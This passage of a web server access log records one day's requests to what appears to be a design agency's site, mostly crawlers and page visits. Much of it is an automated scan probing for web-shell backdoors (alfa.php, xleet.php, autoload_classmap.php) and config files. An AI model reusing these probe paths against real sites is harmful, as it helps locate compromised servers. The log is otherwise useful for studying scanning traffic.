/dynamic-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:23 -0400] "GET /dynamic-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:25 -0400] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:27 -0400] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:29 -0400] "GET /website-redesign HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:30 -0400] "GET /website-redesign HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:33 -0400] "GET /explainer-animation-video HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:34 -0400] "GET /explainer-animation-video HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:36 -0400] "GET /marketing-material-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:37 -0400] "GET /marketing-material-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:39 -0400] "GET /blog-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:40 -0400] "GET /blog-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:42 -0400] "GET /ecommerce-website-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:43 -0400] "GET /ecommerce-website-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:46 -0400] "GET /e-commerce-website-service HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:47 -0400] "GET /e-commerce-website-service HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:49 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:50 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:53 -0400] "GET /social-media-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:54 -0400] "GET /social-media-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:57 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:45:59 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:46:01 -0400] "GET /static-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:46:02 -0400] "GET /static-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:46:04 -0400] "GET /business-infographic HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.132 - - [09/Apr/2025:09:46:05 -0400] "GET /business-infographic HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 66.249.79.96 - - [09/Apr/2025:09:53:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [09/Apr/2025:09:53:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 42.83.147.56 - - [09/Apr/2025:10:05:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 146.120.161.147 - - [09/Apr/2025:10:08:17 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 13.68.75.117 - - [09/Apr/2025:10:21:18 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:19 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:19 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:20 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:20 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:20 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:21 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:21 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:21 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:22 -0400] "GET /wp-includes/blocks/heading/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:22 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:22 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:23 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:23 -0400] "GET /.well-known/acme-challenge/new.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:23 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:24 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:24 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:25 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:25 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:26 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:26 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:27 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:27 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:27 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:28 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:29 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:29 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:29 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:30 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:30 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:30 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:31 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:31 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:31 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:32 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:32 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:32 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:33 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:33 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:33 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:34 -0400] "GET /wp-includes/style-engine/gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:34 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:34 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:35 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:35 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:36 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:36 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:36 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:37 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:37 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:37 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:37 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:38 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:39 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:39 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:39 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:40 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:40 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:40 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:41 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:41 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:41 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:42 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:42 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:42 -0400] "GET /wp-content/bk.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:42 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:43 -0400] "GET /.tmb/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:43 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:43 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:44 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:44 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:45 -0400] "GET /xcc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:45 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:45 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:45 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:46 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:46 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:46 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:47 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:47 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:48 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:48 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:48 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:49 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:49 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:49 -0400] "GET /wp-content/uploads/2023/10/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:49 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:50 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:50 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:50 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:51 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:51 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:51 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:52 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:52 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:52 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:52 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:53 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:53 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:53 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:54 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:54 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:54 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:55 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:55 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:55 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:55 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:56 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:56 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:56 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:56 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:57 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:57 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:57 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:57 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:58 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:58 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:58 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:59 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:59 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:59 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:21:59 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:00 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:00 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:00 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:01 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:01 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:01 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:02 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:02 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:02 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:03 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:03 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [09/Apr/2025:10:22:03 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.117.194.168 - - [09/Apr/2025:10:45:20 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:21 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:21 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:21 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:21 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:22 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:22 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:22 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:22 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:10:45:23 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 82.165.125.50 - - [09/Apr/2025:11:05:34 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 43.153.36.110 - - [09/Apr/2025:11:39:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 17.241.227.11 - - [09/Apr/2025:12:10:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.11 - - [09/Apr/2025:12:10:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.148 - - [09/Apr/2025:12:11:10 -0400] "GET /contact-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 80.85.247.231 - - [09/Apr/2025:12:15:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 17.241.219.237 - - [09/Apr/2025:12:16:16 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 40.87.44.10 - - [09/Apr/2025:12:38:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.172.100.244 - - [09/Apr/2025:12:42:26 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:27 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:27 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:27 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:28 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:29 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 